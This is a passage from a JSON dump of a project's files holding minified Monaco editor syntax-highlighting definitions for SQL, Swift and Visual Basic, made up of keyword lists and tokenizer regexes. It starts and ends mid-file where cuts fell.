ABLE\",\"REPEATABLEREAD\",\"REPLICA\",\"REPLICATION\",\"REQUEST_MAX_CPU_TIME_SEC\",\"REQUEST_MAX_MEMORY_GRANT_PERCENT\",\"REQUEST_MEMORY_GRANT_TIMEOUT_SEC\",\"REQUIRED\",\"RESAMPLE\",\"RESEED\",\"RESERVE_DISK_SPACE\",\"RESET\",\"RESOURCE\",\"RESTART\",\"RESTORE\",\"RESTRICT\",\"RESTRICTED_USER\",\"RESULT\",\"RESUME\",\"RETAINDAYS\",\"RETENTION\",\"RETURN\",\"RETURNS\",\"REVERT\",\"REVOKE\",\"REWIND\",\"REWINDONLY\",\"ROBUST\",\"ROLE\",\"ROLLBACK\",\"ROLLUP\",\"ROOT\",\"ROUTE\",\"ROW\",\"ROWCOUNT\",\"ROWGUIDCOL\",\"ROWLOCK\",\"ROWS\",\"ROWS_PER_BATCH\",\"ROWTERMINATOR\",\"ROWVERSION\",\"RSA_1024\",\"RSA_2048\",\"RSA_512\",\"RULE\",\"SAFE\",\"SAFETY\",\"SAMPLE\",\"SAVE\",\"SCHEDULER\",\"SCHEMA\",\"SCHEMA_AND_DATA\",\"SCHEMA_ONLY\",\"SCHEMABINDING\",\"SCHEME\",\"SCROLL\",\"SCROLL_LOCKS\",\"SEARCH\",\"SECOND\",\"SECONDARY\",\"SECONDARY_ONLY\",\"SECONDARY_ROLE\",\"SECONDS\",\"SECRET\",\"SECURITY_LOG\",\"SECURITYAUDIT\",\"SELECT\",\"SELECTIVE\",\"SELF\",\"SEND\",\"SENT\",\"SEQUENCE\",\"SERIALIZABLE\",\"SERVER\",\"SERVICE\",\"SERVICE_BROKER\",\"SERVICE_NAME\",\"SESSION\",\"SESSION_TIMEOUT\",\"SET\",\"SETS\",\"SETUSER\",\"SHOW_STATISTICS\",\"SHOWCONTIG\",\"SHOWPLAN\",\"SHOWPLAN_ALL\",\"SHOWPLAN_TEXT\",\"SHOWPLAN_XML\",\"SHRINKDATABASE\",\"SHRINKFILE\",\"SHUTDOWN\",\"SID\",\"SIGNATURE\",\"SIMPLE\",\"SINGLE_BLOB\",\"SINGLE_CLOB\",\"SINGLE_NCLOB\",\"SINGLE_USER\",\"SINGLETON\",\"SIZE\",\"SKIP\",\"SMALLDATETIME\",\"SMALLINT\",\"SMALLMONEY\",\"SNAPSHOT\",\"SORT_IN_TEMPDB\",\"SOURCE\",\"SPARSE\",\"SPATIAL\",\"SPATIAL_WINDOW_MAX_CELLS\",\"SPECIFICATION\",\"SPLIT\",\"SQL\",\"SQL_VARIANT\",\"SQLPERF\",\"STANDBY\",\"START\",\"START_DATE\",\"STARTED\",\"STARTUP_STATE\",\"STAT_HEADER\",\"STATE\",\"STATEMENT\",\"STATIC\",\"STATISTICAL_SEMANTICS\",\"STATISTICS\",\"STATISTICS_INCREMENTAL\",\"STATISTICS_NORECOMPUTE\",\"STATS\",\"STATS_STREAM\",\"STATUS\",\"STATUSONLY\",\"STOP\",\"STOP_ON_ERROR\",\"STOPAT\",\"STOPATMARK\",\"STOPBEFOREMARK\",\"STOPLIST\",\"STOPPED\",\"SUBJECT\",\"SUBSCRIPTION\",\"SUPPORTED\",\"SUSPEND\",\"SWITCH\",\"SYMMETRIC\",\"SYNCHRONOUS_COMMIT\",\"SYNONYM\",\"SYSNAME\",\"SYSTEM\",\"TABLE\",\"TABLERESULTS\",\"TABLESAMPLE\",\"TABLOCK\",\"TABLOCKX\",\"TAKE\",\"TAPE\",\"TARGET\",\"TARGET_RECOVERY_TIME\",\"TB\",\"TCP\",\"TEXT\",\"TEXTIMAGE_ON\",\"TEXTSIZE\",\"THEN\",\"THESAURUS\",\"THROW\",\"TIES\",\"TIME\",\"TIMEOUT\",\"TIMER\",\"TIMESTAMP\",\"TINYINT\",\"TO\",\"TOP\",\"TORN_PAGE_DETECTION\",\"TRACEOFF\",\"TRACEON\",\"TRACESTATUS\",\"TRACK_CAUSALITY\",\"TRACK_COLUMNS_UPDATED\",\"TRAN\",\"TRANSACTION\",\"TRANSFER\",\"TRANSFORM_NOISE_WORDS\",\"TRIGGER\",\"TRIPLE_DES\",\"TRIPLE_DES_3KEY\",\"TRUE\",\"TRUNCATE\",\"TRUNCATEONLY\",\"TRUSTWORTHY\",\"TRY\",\"TSQL\",\"TWO_DIGIT_YEAR_CUTOFF\",\"TYPE\",\"TYPE_WARNING\",\"UNBOUNDED\",\"UNCHECKED\",\"UNCOMMITTED\",\"UNDEFINED\",\"UNIQUE\",\"UNIQUEIDENTIFIER\",\"UNKNOWN\",\"UNLIMITED\",\"UNLOAD\",\"UNSAFE\",\"UPDATE\",\"UPDATETEXT\",\"UPDATEUSAGE\",\"UPDLOCK\",\"URL\",\"USE\",\"USED\",\"USER\",\"USEROPTIONS\",\"USING\",\"VALID_XML\",\"VALIDATION\",\"VALUE\",\"VALUES\",\"VARBINARY\",\"VARCHAR\",\"VARYING\",\"VERIFYONLY\",\"VERSION\",\"VIEW\",\"VIEW_METADATA\",\"VIEWS\",\"VISIBILITY\",\"WAIT_AT_LOW_PRIORITY\",\"WAITFOR\",\"WEEK\",\"WEIGHT\",\"WELL_FORMED_XML\",\"WHEN\",\"WHERE\",\"WHILE\",\"WINDOWS\",\"WITH\",\"WITHIN\",\"WITHOUT\",\"WITNESS\",\"WORK\",\"WORKLOAD\",\"WRITETEXT\",\"XACT_ABORT\",\"XLOCK\",\"XMAX\",\"XMIN\",\"XML\",\"XMLDATA\",\"XMLNAMESPACES\",\"XMLSCHEMA\",\"XQUERY\",\"XSINIL\",\"YEAR\",\"YMAX\",\"YMIN\"],operators:[\"ALL\",\"AND\",\"ANY\",\"BETWEEN\",\"EXISTS\",\"IN\",\"LIKE\",\"NOT\",\"OR\",\"SOME\",\"EXCEPT\",\"INTERSECT\",\"UNION\",\"APPLY\",\"CROSS\",\"FULL\",\"INNER\",\"JOIN\",\"LEFT\",\"OUTER\",\"RIGHT\",\"CONTAINS\",\"FREETEXT\",\"IS\",\"NULL\",\"PIVOT\",\"UNPIVOT\",\"MATCHED\"],builtinFunctions:[\"AVG\",\"CHECKSUM_AGG\",\"COUNT\",\"COUNT_BIG\",\"GROUPING\",\"GROUPING_ID\",\"MAX\",\"MIN\",\"SUM\",\"STDEV\",\"STDEVP\",\"VAR\",\"VARP\",\"CUME_DIST\",\"FIRST_VALUE\",\"LAG\",\"LAST_VALUE\",\"LEAD\",\"PERCENTILE_CONT\",\"PERCENTILE_DISC\",\"PERCENT_RANK\",\"COLLATE\",\"COLLATIONPROPERTY\",\"TERTIARY_WEIGHTS\",\"FEDERATION_FILTERING_VALUE\",\"CAST\",\"CONVERT\",\"PARSE\",\"TRY_CAST\",\"TRY_CONVERT\",\"TRY_PARSE\",\"ASYMKEY_ID\",\"ASYMKEYPROPERTY\",\"CERTPROPERTY\",\"CERT_ID\",\"CRYPT_GEN_RANDOM\",\"DECRYPTBYASYMKEY\",\"DECRYPTBYCERT\",\"DECRYPTBYKEY\",\"DECRYPTBYKEYAUTOASYMKEY\",\"DECRYPTBYKEYAUTOCERT\",\"DECRYPTBYPASSPHRASE\",\"ENCRYPTBYASYMKEY\",\"ENCRYPTBYCERT\",\"ENCRYPTBYKEY\",\"ENCRYPTBYPASSPHRASE\",\"HASHBYTES\",\"IS_OBJECTSIGNED\",\"KEY_GUID\",\"KEY_ID\",\"KEY_NAME\",\"SIGNBYASYMKEY\",\"SIGNBYCERT\",\"SYMKEYPROPERTY\",\"VERIFYSIGNEDBYCERT\",\"VERIFYSIGNEDBYASYMKEY\",\"CURSOR_STATUS\",\"DATALENGTH\",\"IDENT_CURRENT\",\"IDENT_INCR\",\"IDENT_SEED\",\"IDENTITY\",\"SQL_VARIANT_PROPERTY\",\"CURRENT_TIMESTAMP\",\"DATEADD\",\"DATEDIFF\",\"DATEFROMPARTS\",\"DATENAME\",\"DATEPART\",\"DATETIME2FROMPARTS\",\"DATETIMEFROMPARTS\",\"DATETIMEOFFSETFROMPARTS\",\"DAY\",\"EOMONTH\",\"GETDATE\",\"GETUTCDATE\",\"ISDATE\",\"MONTH\",\"SMALLDATETIMEFROMPARTS\",\"SWITCHOFFSET\",\"SYSDATETIME\",\"SYSDATETIMEOFFSET\",\"SYSUTCDATETIME\",\"TIMEFROMPARTS\",\"TODATETIMEOFFSET\",\"YEAR\",\"CHOOSE\",\"COALESCE\",\"IIF\",\"NULLIF\",\"ABS\",\"ACOS\",\"ASIN\",\"ATAN\",\"ATN2\",\"CEILING\",\"COS\",\"COT\",\"DEGREES\",\"EXP\",\"FLOOR\",\"LOG\",\"LOG10\",\"PI\",\"POWER\",\"RADIANS\",\"RAND\",\"ROUND\",\"SIGN\",\"SIN\",\"SQRT\",\"SQUARE\",\"TAN\",\"APP_NAME\",\"APPLOCK_MODE\",\"APPLOCK_TEST\",\"ASSEMBLYPROPERTY\",\"COL_LENGTH\",\"COL_NAME\",\"COLUMNPROPERTY\",\"DATABASE_PRINCIPAL_ID\",\"DATABASEPROPERTYEX\",\"DB_ID\",\"DB_NAME\",\"FILE_ID\",\"FILE_IDEX\",\"FILE_NAME\",\"FILEGROUP_ID\",\"FILEGROUP_NAME\",\"FILEGROUPPROPERTY\",\"FILEPROPERTY\",\"FULLTEXTCATALOGPROPERTY\",\"FULLTEXTSERVICEPROPERTY\",\"INDEX_COL\",\"INDEXKEY_PROPERTY\",\"INDEXPROPERTY\",\"OBJECT_DEFINITION\",\"OBJECT_ID\",\"OBJECT_NAME\",\"OBJECT_SCHEMA_NAME\",\"OBJECTPROPERTY\",\"OBJECTPROPERTYEX\",\"ORIGINAL_DB_NAME\",\"PARSENAME\",\"SCHEMA_ID\",\"SCHEMA_NAME\",\"SCOPE_IDENTITY\",\"SERVERPROPERTY\",\"STATS_DATE\",\"TYPE_ID\",\"TYPE_NAME\",\"TYPEPROPERTY\",\"DENSE_RANK\",\"NTILE\",\"RANK\",\"ROW_NUMBER\",\"PUBLISHINGSERVERNAME\",\"OPENDATASOURCE\",\"OPENQUERY\",\"OPENROWSET\",\"OPENXML\",\"CERTENCODED\",\"CERTPRIVATEKEY\",\"CURRENT_USER\",\"HAS_DBACCESS\",\"HAS_PERMS_BY_NAME\",\"IS_MEMBER\",\"IS_ROLEMEMBER\",\"IS_SRVROLEMEMBER\",\"LOGINPROPERTY\",\"ORIGINAL_LOGIN\",\"PERMISSIONS\",\"PWDENCRYPT\",\"PWDCOMPARE\",\"SESSION_USER\",\"SESSIONPROPERTY\",\"SUSER_ID\",\"SUSER_NAME\",\"SUSER_SID\",\"SUSER_SNAME\",\"SYSTEM_USER\",\"USER\",\"USER_ID\",\"USER_NAME\",\"ASCII\",\"CHAR\",\"CHARINDEX\",\"CONCAT\",\"DIFFERENCE\",\"FORMAT\",\"LEFT\",\"LEN\",\"LOWER\",\"LTRIM\",\"NCHAR\",\"PATINDEX\",\"QUOTENAME\",\"REPLACE\",\"REPLICATE\",\"REVERSE\",\"RIGHT\",\"RTRIM\",\"SOUNDEX\",\"SPACE\",\"STR\",\"STUFF\",\"SUBSTRING\",\"UNICODE\",\"UPPER\",\"BINARY_CHECKSUM\",\"CHECKSUM\",\"CONNECTIONPROPERTY\",\"CONTEXT_INFO\",\"CURRENT_REQUEST_ID\",\"ERROR_LINE\",\"ERROR_NUMBER\",\"ERROR_MESSAGE\",\"ERROR_PROCEDURE\",\"ERROR_SEVERITY\",\"ERROR_STATE\",\"FORMATMESSAGE\",\"GETANSINULL\",\"GET_FILESTREAM_TRANSACTION_CONTEXT\",\"HOST_ID\",\"HOST_NAME\",\"ISNULL\",\"ISNUMERIC\",\"MIN_ACTIVE_ROWVERSION\",\"NEWID\",\"NEWSEQUENTIALID\",\"ROWCOUNT_BIG\",\"XACT_STATE\",\"TEXTPTR\",\"TEXTVALID\",\"COLUMNS_UPDATED\",\"EVENTDATA\",\"TRIGGER_NESTLEVEL\",\"UPDATE\",\"CHANGETABLE\",\"CHANGE_TRACKING_CONTEXT\",\"CHANGE_TRACKING_CURRENT_VERSION\",\"CHANGE_TRACKING_IS_COLUMN_IN_MASK\",\"CHANGE_TRACKING_MIN_VALID_VERSION\",\"CONTAINSTABLE\",\"FREETEXTTABLE\",\"SEMANTICKEYPHRASETABLE\",\"SEMANTICSIMILARITYDETAILSTABLE\",\"SEMANTICSIMILARITYTABLE\",\"FILETABLEROOTPATH\",\"GETFILENAMESPACEPATH\",\"GETPATHLOCATOR\",\"PATHNAME\",\"GET_TRANSMISSION_STATUS\"],builtinVariables:[\"@@DATEFIRST\",\"@@DBTS\",\"@@LANGID\",\"@@LANGUAGE\",\"@@LOCK_TIMEOUT\",\"@@MAX_CONNECTIONS\",\"@@MAX_PRECISION\",\"@@NESTLEVEL\",\"@@OPTIONS\",\"@@REMSERVER\",\"@@SERVERNAME\",\"@@SERVICENAME\",\"@@SPID\",\"@@TEXTSIZE\",\"@@VERSION\",\"@@CURSOR_ROWS\",\"@@FETCH_STATUS\",\"@@DATEFIRST\",\"@@PROCID\",\"@@ERROR\",\"@@IDENTITY\",\"@@ROWCOUNT\",\"@@TRANCOUNT\",\"@@CONNECTIONS\",\"@@CPU_BUSY\",\"@@IDLE\",\"@@IO_BUSY\",\"@@PACKET_ERRORS\",\"@@PACK_RECEIVED\",\"@@PACK_SENT\",\"@@TIMETICKS\",\"@@TOTAL_ERRORS\",\"@@TOTAL_READ\",\"@@TOTAL_WRITE\"],pseudoColumns:[\"$ACTION\",\"$IDENTITY\",\"$ROWGUID\",\"$PARTITION\"],tokenizer:{root:[{include:\"@comments\"},{include:\"@whitespace\"},{include:\"@pseudoColumns\"},{include:\"@numbers\"},{include:\"@strings\"},{include:\"@complexIdentifiers\"},{include:\"@scopes\"},[/[;,.]/,\"delimiter\"],[/[()]/,\"@brackets\"],[/[\\w@#$]+/,{cases:{\"@keywords\":\"keyword\",\"@operators\":\"operator\",\"@builtinVariables\":\"predefined\",\"@builtinFunctions\":\"predefined\",\"@default\":\"identifier\"}}],[/[<>=!%&+\\-*/|~^]/,\"operator\"]],whitespace:[[/\\s+/,\"white\"]],comments:[[/--+.*/,\"comment\"],[/\\/\\*/,{token:\"comment.quote\",next:\"@comment\"}]],comment:[[/[^*/]+/,\"comment\"],[/\\*\\//,{token:\"comment.quote\",next:\"@pop\"}],[/./,\"comment\"]],pseudoColumns:[[/[$][A-Za-z_][\\w@#$]*/,{cases:{\"@pseudoColumns\":\"predefined\",\"@default\":\"identifier\"}}]],numbers:[[/0[xX][0-9a-fA-F]*/,\"number\"],[/[$][+-]*\\d*(\\.\\d*)?/,\"number\"],[/((\\d+(\\.\\d*)?)|(\\.\\d+))([eE][\\-+]?\\d+)?/,\"number\"]],strings:[[/N'/,{token:\"string\",next:\"@string\"}],[/'/,{token:\"string\",next:\"@string\"}]],string:[[/[^']+/,\"string\"],[/''/,\"string\"],[/'/,{token:\"string\",next:\"@pop\"}]],complexIdentifiers:[[/\\[/,{token:\"identifier.quote\",next:\"@bracketedIdentifier\"}],[/\"/,{token:\"identifier.quote\",next:\"@quotedIdentifier\"}]],bracketedIdentifier:[[/[^\\]]+/,\"identifier\"],[/]]/,\"identifier\"],[/]/,{token:\"identifier.quote\",next:\"@pop\"}]],quotedIdentifier:[[/[^\"]+/,\"identifier\"],[/\"\"/,\"identifier\"],[/\"/,{token:\"identifier.quote\",next:\"@pop\"}]],scopes:[[/BEGIN\\s+(DISTRIBUTED\\s+)?TRAN(SACTION)?\\b/i,\"keyword\"],[/BEGIN\\s+TRY\\b/i,{token:\"keyword.try\"}],[/END\\s+TRY\\b/i,{token:\"keyword.try\"}],[/BEGIN\\s+CATCH\\b/i,{token:\"keyword.catch\"}],[/END\\s+CATCH\\b/i,{token:\"keyword.catch\"}],[/(BEGIN|CASE)\\b/i,{token:\"keyword.block\"}],[/END\\b/i,{token:\"keyword.block\"}],[/WHEN\\b/i,{token:\"keyword.choice\"}],[/THEN\\b/i,{token:\"keyword.choice\"}]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/swift.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\n/*!---------------------------------------------------------------------------------------------\n *  Copyright (C) David Owens II, owensd.io. All rights reserved.\n *--------------------------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/swift\",[\"require\",\"exports\"],function(e,o){\"use strict\";Object.defineProperty(o,\"__esModule\",{value:!0}),o.conf={comments:{lineComment:\"//\",blockComment:[\"/*\",\"*/\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"},{open:\"`\",close:\"`\"}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"},{open:\"`\",close:\"`\"}]},o.language={defaultToken:\"\",tokenPostfix:\".swift\",identifier:/[a-zA-Z_][\\w$]*/,attributes:[\"@autoclosure\",\"@noescape\",\"@noreturn\",\"@NSApplicationMain\",\"@NSCopying\",\"@NSManaged\",\"@objc\",\"@UIApplicationMain\",\"@noreturn\",\"@availability\",\"@IBAction\",\"@IBDesignable\",\"@IBInspectable\",\"@IBOutlet\"],accessmodifiers:[\"public\",\"private\",\"internal\"],keywords:[\"__COLUMN__\",\"__FILE__\",\"__FUNCTION__\",\"__LINE__\",\"as\",\"as!\",\"as?\",\"associativity\",\"break\",\"case\",\"catch\",\"class\",\"continue\",\"convenience\",\"default\",\"deinit\",\"didSet\",\"do\",\"dynamic\",\"dynamicType\",\"else\",\"enum\",\"extension\",\"fallthrough\",\"final\",\"for\",\"func\",\"get\",\"guard\",\"if\",\"import\",\"in\",\"infix\",\"init\",\"inout\",\"internal\",\"is\",\"lazy\",\"left\",\"let\",\"mutating\",\"nil\",\"none\",\"nonmutating\",\"operator\",\"optional\",\"override\",\"postfix\",\"precedence\",\"prefix\",\"private\",\"protocol\",\"Protocol\",\"public\",\"repeat\",\"required\",\"return\",\"right\",\"self\",\"Self\",\"set\",\"static\",\"struct\",\"subscript\",\"super\",\"switch\",\"throw\",\"throws\",\"try\",\"try!\",\"Type\",\"typealias\",\"unowned\",\"var\",\"weak\",\"where\",\"while\",\"willSet\",\"FALSE\",\"TRUE\"],symbols:/[=(){}\\[\\].,:;@#\\_&\\-<>`?!+*\\\\\\/]/,operatorstart:/[\\/=\\-+!*%<>&|^~?\\u00A1-\\u00A7\\u00A9\\u00AB\\u00AC\\u00AE\\u00B0-\\u00B1\\u00B6\\u00BB\\u00BF\\u00D7\\u00F7\\u2016-\\u2017\\u2020-\\u2027\\u2030-\\u203E\\u2041-\\u2053\\u2055-\\u205E\\u2190-\\u23FF\\u2500-\\u2775\\u2794-\\u2BFF\\u2E00-\\u2E7F\\u3001-\\u3003\\u3008-\\u3030]/,operatorend:/[\\u0300-\\u036F\\u1DC0-\\u1DFF\\u20D0-\\u20FF\\uFE00-\\uFE0F\\uFE20-\\uFE2F\\uE0100-\\uE01EF]/,operators:/(@operatorstart)((@operatorstart)|(@operatorend))*/,escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[{include:\"@comment\"},{include:\"@attribute\"},{include:\"@literal\"},{include:\"@keyword\"},{include:\"@invokedmethod\"},{include:\"@symbol\"}],symbol:[[/[{}()\\[\\]]/,\"@brackets\"],[/[<>](?!@symbols)/,\"@brackets\"],[/[.]/,\"delimiter\"],[/@operators/,\"operator\"],[/@symbols/,\"operator\"]],comment:[[/\\/\\/\\/.*$/,\"comment.doc\"],[/\\/\\*\\*/,\"comment.doc\",\"@commentdocbody\"],[/\\/\\/.*$/,\"comment\"],[/\\/\\*/,\"comment\",\"@commentbody\"]],commentdocbody:[[/\\/\\*/,\"comment\",\"@commentbody\"],[/\\*\\//,\"comment.doc\",\"@pop\"],[/\\:[a-zA-Z]+\\:/,\"comment.doc.param\"],[/./,\"comment.doc\"]],commentbody:[[/\\/\\*/,\"comment\",\"@commentbody\"],[/\\*\\//,\"comment\",\"@pop\"],[/./,\"comment\"]],attribute:[[/\\@@identifier/,{cases:{\"@attributes\":\"keyword.control\",\"@default\":\"\"}}]],literal:[[/\"/,{token:\"string.quote\",next:\"@stringlit\"}],[/0[b]([01]_?)+/,\"number.binary\"],[/0[o]([0-7]_?)+/,\"number.octal\"],[/0[x]([0-9a-fA-F]_?)+([pP][\\-+](\\d_?)+)?/,\"number.hex\"],[/(\\d_?)*\\.(\\d_?)+([eE][\\-+]?(\\d_?)+)?/,\"number.float\"],[/(\\d_?)+/,\"number\"]],stringlit:[[/\\\\\\(/,{token:\"operator\",next:\"@interpolatedexpression\"}],[/@escapes/,\"string\"],[/\\\\./,\"string.escape.invalid\"],[/\"/,{token:\"string.quote\",next:\"@pop\"}],[/./,\"string\"]],interpolatedexpression:[[/\\(/,{token:\"operator\",next:\"@interpolatedexpression\"}],[/\\)/,{token:\"operator\",next:\"@pop\"}],{include:\"@literal\"},{include:\"@keyword\"},{include:\"@symbol\"}],keyword:[[/`/,{token:\"operator\",next:\"@escapedkeyword\"}],[/@identifier/,{cases:{\"@keywords\":\"keyword\",\"[A-Z][a-zA-Z0-9$]*\":\"type.identifier\",\"@default\":\"identifier\"}}]],escapedkeyword:[[/`/,{token:\"operator\",next:\"@pop\"}],[/./,\"identifier\"]],invokedmethod:[[/([.])(@identifier)/,{cases:{$2:[\"delimeter\",\"type.identifier\"],\"@default\":\"\"}}]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/vb.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/vb\",[\"require\",\"exports\"],function(e,n){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0}),n.conf={comments:{lineComment:\"'\",blockComment:[\"/*\",\"*/\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"],[\"<\",\">\"],[\"addhandler\",\"end addhandler\"],[\"class\",\"end class\"],[\"enum\",\"end enum\"],[\"event\",\"end event\"],[\"function\",\"end function\"],[\"get\",\"end get\"],[\"if\",\"end if\"],[\"interface\",\"end interface\"],[\"module\",\"end module\"],[\"namespace\",\"end namespace\"],[\"operator\",\"end operator\"],[\"property\",\"end property\"],[\"raiseevent\",\"end raiseevent\"],[\"removehandler\",\"end removehandler\"],[\"select\",\"end select\"],[\"set\",\"end set\"],[\"structure\",\"end structure\"],[\"sub\",\"end sub\"],[\"synclock\",\"end synclock\"],[\"try\",\"end try\"],[\"while\",\"end while\"],[\"with\",\"end with\"],[\"using\",\"end using\"],[\"do\",\"loop\"],[\"for\",\"next\"]],autoClosingPairs:[{open:\"{\",close:\"}\",notIn:[\"string\",\"comment\"]},{open:\"[\",close:\"]\",notIn:[\"string\",\"comment\"]},{open:\"(\",close:\")\",notIn:[\"string\",\"comment\"]},{open:'\"',close:'\"',notIn:[\"string\",\"comment\"]},{open:\"<\",close:\">\",notIn:[\"string\",\"comment\"]}]},n.language={defaultToken:\"\",tokenPostfix:\".vb\",ignoreCase:!0,brackets:[{token:\"delimiter.bracket\",open:\"{\",close:\"}\"},{token:\"delimiter.array\",open:\"[\",close:\"]\"},{token:\"delimiter.parenthesis\",open:\"(\",close:\")\"},{token:\"delimiter.angle\",open:\"<\",close:\">\"},{token:\"keyword.tag-addhandler\",open:\"addhandler\",close:\"end addhandler\"},{token:\"keyword.tag-class\",open:\"class\",close:\"end class\"},{token:\"keyword.tag-enum\",open:\"enum\",close:\"end enum\"},{token:\"keyword.tag-event\",open:\"event\",close:\"end event\"},{token:\"keyword.tag-function\",open:\"function\",close:\"end function\"},{token:\"keyword.tag-get\",open:\"get\",close:\"end get\"},{token:\"keyword.tag-if\",open:\"if\",close:\"end if\"},{token:\"keyword.tag-interface\",open:\"interface\",close:\"end interface\"},{token:\"keyword.tag-module\",open:\"module\",close:\"end module\"},{token:\"keyword.tag-namespace\",open:\"namespace\",close:\"end namespace\"},{token:\"keyword.tag-operator\",open:\"operator\",close:\"end operator\"},{token:\"keyword.tag-property\",open:\"property\",close:\"end property\"},{token:\"keyword.tag-raiseevent\",open:\"raiseevent\",close:\"end raiseevent\"},{token:\"keyword.tag-removehandler\",open:\"removehandler\",close:\"end removehandler\"},{token:\"keyword.tag-select\",open:\"select\",close:\"end select\"},{token:\"keyword.tag-set\",open:\"set\",close:\"end set\"},{token:\"keyword.tag-structure\",open:\"structure\",close:\"end structure\"},{token:\"keyword.tag-sub\",open:\"sub\",close:\"end sub\"},{token:\"keyword.tag-synclock\",open:\"synclock\",close:\"end synclock\"},{token:\"keyword.tag-try\",open:\"try\",close:\"end try\"},{token:\"keyword.tag-while\",open:\"while\",close:\"end while\"},{token:\"keyword.tag-with\",open:\"with\",close:\"end with\"},{token:\"keyword.tag-using\",open:\"using\",close:\"end using\"},{token:\"keyword.tag-do\",open:\"do\",close:\"loop\"},{token:\"keyword.tag-for\",open:\"for\",close:\"next\"}],keywords:[\"AddHandler\",\"AddressOf\",\"Alias\",\"And\",\"AndAlso\",\"As\",\"Async\",\"Boolean\",\"ByRef\",\"Byte\",\"ByVal\",\"Call\",\"Case\",\"Catch\",\"CBool\",\"CByte\",\"CChar\",\"CDate\",\"CDbl\",\"CDec\",\"Char\",\"CInt\",\"Class\",\"CLng\",\"CObj\",\"Const\",\"Continue\",\"CSByte\",\"CShort\",\"CSng\",\"CStr\",\"CType\",\"CUInt\",\"CULng\",\"CUShort\",\"Date\",\"Decimal\",\"Declare\",\"Default\",\"Delegate\",\"Dim\",\"DirectCast\",\"Do\",\"Double\",\"Each\",\"Else\",\"ElseIf\",\"End\",\"EndIf\",\"Enum\",\"Erase\",\"Error\",\"Event\",\"Exit\",\"False\",\"Finally\",\"For\",\"Friend\",\"Function\",\"Get\",\"GetType\",\"GetXMLNamespace\",\"Global\",\"GoSub\",\"GoTo\",\"Handles\",\"If\",\"Implements\",\"Imports\",\"In\",\"Inherits\",\"Integer\",\"Interface\",\"Is\",\"IsNot\",\"Let\",\"Lib\",\"Like\",\"Long\",\"Loop\",\"Me\",\"Mod\",\"Module\",\"MustInherit\",\"MustOverride\",\"MyBase\",\"MyClass\",\"NameOf\",\"Namespace\",\"Narrowing\",\"New\",\"Next\",\"Not\",\"Nothing\",\"NotInheritable\",\"NotOverridable\",\"Object\",\"Of\",\"On\",\"Operator\",\"Option\",\"Optional\",\"Or\",\"OrElse\",\"Out\",\"Overloads\",\"Overridable\",\"Overrides\",\"ParamArray\",\"Partial\",\"Private\",\"Property\",\"Protected\",\"Public\",\"RaiseEvent\",\"ReadOnly\",\"ReDim\",\"RemoveHandler\",\"Resume\",\"Return\",\"SByte\",\"Select\",\"Set\",\"Shadows\",\"Shared\",\"Short\",\"Single\",\"Static\",\"Step\",\"Stop\",\"String\",\"Structure\",\"Sub\",\"SyncLock\",\"Then\",\"Throw\",\"To\",\"True\",\"Try\",\"TryCast\",\"TypeOf\",\"UInteger\",\"ULong\",\"UShort\",\"Using\",\"Variant\",\"Wend\",\"When\",\"While\",\"Widening\",\"With\",\"WithEvents\",\"WriteOnly\",\"Xor\"],tagwords:[\"If\",\"Sub\",\"Select\",\"Try\",\"Class\",\"Enum\",\"Function\",\"Get\",\"Interface\",\"Module\",\"Namespace\",\"Operator\",\"Set\",\"Structure\",\"Using\",\"While\",\"With\",\"Do\",\"Loop\",\"For\",\"Next\",\"Property\",\"Continue\",\"AddHandler\",\"RemoveHandler\",\"Event\",\"RaiseEvent\",\"SyncLock\"],symbols:/[=><!~?;\\.,:&|+\\-*\\/\\^%]+/,escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,integersuffix:/U?[DI%L&S@]?/,floatsuffix:/[R#F!]?/,tokenizer:{root:[{include:\"@whitespace\"},[/next(?!\\w)/,{token:\"keyword.tag-for\"}],[/loop(?!\\w)/,{token:\"keyword.tag-do\"}],[/end\\s+(?!for|do)([a-zA-Z_]\\w*)/,{token:\"keyword.tag-$1\"}],[/[a-zA-Z_]\\w*/,{cases:{\"@tagwords\":{token:\"keyword.tag-$0\"},\"@keywords\":{token:\"keyword.$0\"},\"@default\":\"identifier\"}}],[/^\\s*#\\w+/,\"keyword\"],[/\\d*\\d+e([\\-+]?\\d+)?(@floatsuffix)/,\"number.float\"],[/\\d*\\.\\d+(e[\\-+]?\\d+)?(@floatsuffix)/,\"number.float\"],[/&H[0-9a-f]+(@integersuffix)/,\"number.hex\"],[/&0[0-7]+(@integersuffix)/,\"number.octal\"],[/\\d+(@integersuffix)/,\"number\"],[/#.*#/,\"number\"],[/[{}()\\[\\]]/,\"@brackets\"],[/@symbols/,\"delimiter\"],[/\"([^\"\\\\]|\\\\.)*$/,\"string.invalid\"],[/\"/,\"string\",\"@string\"]],whitespace:[[/[ 